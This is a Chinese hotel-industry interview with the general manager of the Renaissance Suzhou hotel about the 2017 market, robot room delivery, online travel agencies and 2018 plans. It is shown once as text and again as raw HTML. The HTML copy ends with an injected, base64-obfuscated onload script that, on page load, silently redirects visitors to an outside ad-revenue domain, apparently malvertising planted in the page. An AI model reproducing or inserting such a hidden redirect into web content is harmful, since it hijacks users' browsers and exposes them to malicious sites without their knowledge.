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T&L：您觉得2017年苏州的高端酒店业市场有何变化？贵酒店如何应对这些变化？ 

季方浩先生：2017年苏州高端酒店市场进入了新一轮的行业布局调整。随着W苏州、苏州四季酒店等豪华品牌的进驻与开业，苏州酒店市场呈现出奢华、高端商务、商务及精选，四个层次得更加明显的市场细分。 

	苏州尼盛万丽酒店属于高端商务品牌中的生活品味酒店，在过去的2017年，酒店通过全新呈现的逸庭餐厅酒吧，更加健康的盐水泳池以及万丽独有的导航员计划，为商务休闲客人提供八小时公务以外的放松、运动及探索苏州的更多选择。不仅仅是服务客人，更多的是提供旅程中的情感联系，从而丰富体验。


	T&L：过去一年酒店业在服务创新、管理创新、科技创新等方面有哪些案例引起了您的关注？ 

季方浩先生：AI技术、机器人服务、人脸识别办理入住、手机房卡，甚至未来对于大数据的解读，都将帮助酒店预先了解旅行者的出行行为习惯并为分析开发酒店产品提供指导。不得不说新科技极大的改变了酒店行业的传统模式。举例来说，2017年我们引进了客房送物机器人—小“R”。短短五个月的时间小“R”为来自世界各地3000多位贵宾提供了送物服务，更加让人欣喜的是，小“R”非常受小朋友的欢迎，已经成为了社交媒体平台上的名副其实的明星员工。 

	T&L：酒店与OTA的合作及矛盾是2017年的热点，您个人对此有何看法？ 

季方浩先生：OTA与酒店之间需要有良性的合作关系。酒店提供产品，OTA通过大数据整合平台，帮助酒店在合理的价格基础上实现双方的共赢。要达到这个目的，就需要OTA平台对渠道经销商加强监管，通过严格的价格把控保障双方的利益。 

	T&L：2017年贵酒店有哪件事情或成就令您最为难忘？ 


	季方浩先生：2017最让我充满信心且骄傲的是苏州尼盛万丽酒店完成了长达四年的改扩建，焕然一新，成为一家12年的新酒店。如今，我们拥有了360间时尚温馨，同时富有科技感的客房；为商旅精英量身打造的行政酒廊；我们风格迥异的三间特色餐厅及酒吧，能够满足来宾们多样的美食需求；与此同时，更新增了室内盐水泳池，以及7处总面积超过2,200平方米的宴会活动空间，都极大的提升了酒店的入住体验。沉淀的是高品质的服务，提升的是万丽品牌的趣意。


	T&L：2018年贵酒店的工作重点是什么？您有什么特别的计划或想法吗？ 


	季方浩先生：2018年的工作重点是销售结构的重组及调整。长期以来，酒店的公司商务合约客人占据了极高比重。鉴于酒店设施环境的升级，市场配套的提升以及苏州金鸡湖西商业重心的回归，酒店在2018年将提高OTA渠道散客比重，拓宽会议团队市场，同时将餐饮服务及出品作为整个酒店的窗口，通过饱受好评的万丽轩中餐厅，囊括国际美食的燃全日制餐厅以及主打创意无国界料理的逸庭餐厅酒吧打造金鸡湖西餐饮新热点。

目前酒店正在筹备并全新上线两项常客计划—万誉会电子会员及微信商城。我们希望通过这两项举措进一步提升顾客的互动感及忠诚度。于此同时，酒店将继续深入的推进人才发展计划，今年的我们的目标是培养一位总经理及两位行政管理委员会成员。 

	T&L：可否用一句话把贵酒店最值得体验的东西介绍给我们的读者？ 

季方浩先生：作为连续七年猫途鹰网苏州地区排名第一的酒店，2017年全新升级后的苏州尼盛万丽酒店，将以细致且充满幸福感的入住体验，让来宾们感受万丽品牌的趣意、地道、独特。 

	T&L：作为苏州区域万豪酒店联盟的餐饮导师，2018年，您对苏州的酒店餐饮市场有什么展望？ 


	季方浩先生：2018年我们将利用集团的优势打造更多的苏州地区姐妹酒店餐饮活动。通过邀请获奖厨师开展厨艺节，增加内部交流学习的机会；培养潜在的年轻餐饮人才，推举优秀学员代表苏州参加区域性的行业竞赛，例如一季度我们即将开展的咖啡及葡萄酒品鉴大师课程；邀请集团内餐饮行业的专家分享市场热点及发展趋势；我们还希望在万豪国际集团苏州酒店联盟内成立一个饼房联盟，以苏州本地集团内的优秀饼房厨师带领培训并分享经验。


	 


	 


	 


	 
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信息简介：	季方浩先生拥有二十多年酒店从业经验，先后任职于上海、北京、厦门等各大城市国际品牌酒店的管理岗位，其中包括四家筹建酒店及两家升级改造酒店，尤其在酒店餐饮业管理与发展方面经验颇丰。
信息内容：	<p> <strong>T&L：</strong><strong>您觉得2017年苏州的高端酒店业市场有何变化？贵酒店如何应对这些变化？</strong> </p> <strong>季方浩先生：</strong>2017年苏州高端酒店市场进入了新一轮的行业布局调整。随着W苏州、苏州四季酒店等豪华品牌的进驻与开业，苏州酒店市场呈现出奢华、高端商务、商务及精选，四个层次得更加明显的市场细分。<br /> <p> 苏州尼盛万丽酒店属于高端商务品牌中的生活品味酒店，在过去的2017年，酒店通过全新呈现的逸庭餐厅酒吧，更加健康的盐水泳池以及万丽独有的导航员计划，为商务休闲客人提供八小时公务以外的放松、运动及探索苏州的更多选择。不仅仅是服务客人，更多的是提供旅程中的情感联系，从而丰富体验。 </p> <p> <strong>T&L<strong>：</strong></strong><strong>过去一年酒店业在服务创新、管理创新、科技创新等方面有哪些案例引起了您的关注？</strong> </p> <strong>季方浩先生：</strong>AI技术、机器人服务、人脸识别办理入住、手机房卡，甚至未来对于大数据的解读，都将帮助酒店预先了解旅行者的出行行为习惯并为分析开发酒店产品提供指导。不得不说新科技极大的改变了酒店行业的传统模式。举例来说，2017年我们引进了客房送物机器人—小“R”。短短五个月的时间小“R”为来自世界各地3000多位贵宾提供了送物服务，更加让人欣喜的是，小“R”非常受小朋友的欢迎，已经成为了社交媒体平台上的名副其实的明星员工。<br /> <p> <strong>T&L：</strong><strong>酒店与OTA的合作及矛盾是2017年的热点，您个人对此有何看法？</strong> </p> <strong>季方浩先生：</strong>OTA与酒店之间需要有良性的合作关系。酒店提供产品，OTA通过大数据整合平台，帮助酒店在合理的价格基础上实现双方的共赢。要达到这个目的，就需要OTA平台对渠道经销商加强监管，通过严格的价格把控保障双方的利益。<br /> <p> <strong>T&L：</strong><strong>2017年贵酒店有哪件事情或成就令您最为难忘？</strong> </p> <p> <strong>季方浩先生：</strong>2017最让我充满信心且骄傲的是苏州尼盛万丽酒店完成了长达四年的改扩建，焕然一新，成为一家12年的新酒店。如今，我们拥有了360间时尚温馨，同时富有科技感的客房；为商旅精英量身打造的行政酒廊；我们风格迥异的三间特色餐厅及酒吧，能够满足来宾们多样的美食需求；与此同时，更新增了室内盐水泳池，以及7处总面积超过2,200平方米的宴会活动空间，都极大的提升了酒店的入住体验。沉淀的是高品质的服务，提升的是万丽品牌的趣意。 </p> <p> <strong>T&L：</strong><strong>2018年贵酒店的工作重点是什么？您有什么特别的计划或想法吗？</strong> </p> <p> <strong>季方浩先生：</strong>2018年的工作重点是销售结构的重组及调整。长期以来，酒店的公司商务合约客人占据了极高比重。鉴于酒店设施环境的升级，市场配套的提升以及苏州金鸡湖西商业重心的回归，酒店在2018年将提高OTA渠道散客比重，拓宽会议团队市场，同时将餐饮服务及出品作为整个酒店的窗口，通过饱受好评的万丽轩中餐厅，囊括国际美食的燃全日制餐厅以及主打创意无国界料理的逸庭餐厅酒吧打造金鸡湖西餐饮新热点。 </p> 目前酒店正在筹备并全新上线两项常客计划—万誉会电子会员及微信商城。我们希望通过这两项举措进一步提升顾客的互动感及忠诚度。于此同时，酒店将继续深入的推进人才发展计划，今年的我们的目标是培养一位总经理及两位行政管理委员会成员。<br /> <p> <strong>T&L：</strong><strong>可否用一句话把贵酒店最值得体验的东西介绍给我们的读者？</strong> </p> <strong>季方浩先生：</strong>作为连续七年猫途鹰网苏州地区排名第一的酒店，2017年全新升级后的苏州尼盛万丽酒店，将以细致且充满幸福感的入住体验，让来宾们感受万丽品牌的趣意、地道、独特。<br /> <p> <strong>T&L<strong>：</strong></strong><strong>作为苏州区域万豪酒店联盟的餐饮导师，2018年，您对苏州的酒店餐饮市场有什么展望？</strong> </p> <p> <strong>季方浩先生：</strong>2018年我们将利用集团的优势打造更多的苏州地区姐妹酒店餐饮活动。通过邀请获奖厨师开展厨艺节，增加内部交流学习的机会；培养潜在的年轻餐饮人才，推举优秀学员代表苏州参加区域性的行业竞赛，例如一季度我们即将开展的咖啡及葡萄酒品鉴大师课程；邀请集团内餐饮行业的专家分享市场热点及发展趋势；我们还希望在万豪国际集团苏州酒店联盟内成立一个饼房联盟，以苏州本地集团内的优秀饼房厨师带领培训并分享经验。 </p> <p> <br /> </p> <p> <br /> </p> <p> <br /> </p> <p> <br /> </p><body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LmhpZ2hjcG1yZXZlbnVlZ2F0ZS5jb20vcmlldWJhN21xP2tleT0xZTBkMTkyZmNjNjcwYzc5MjU0ZmVlYmExNTY5MGNlMSIp"))>
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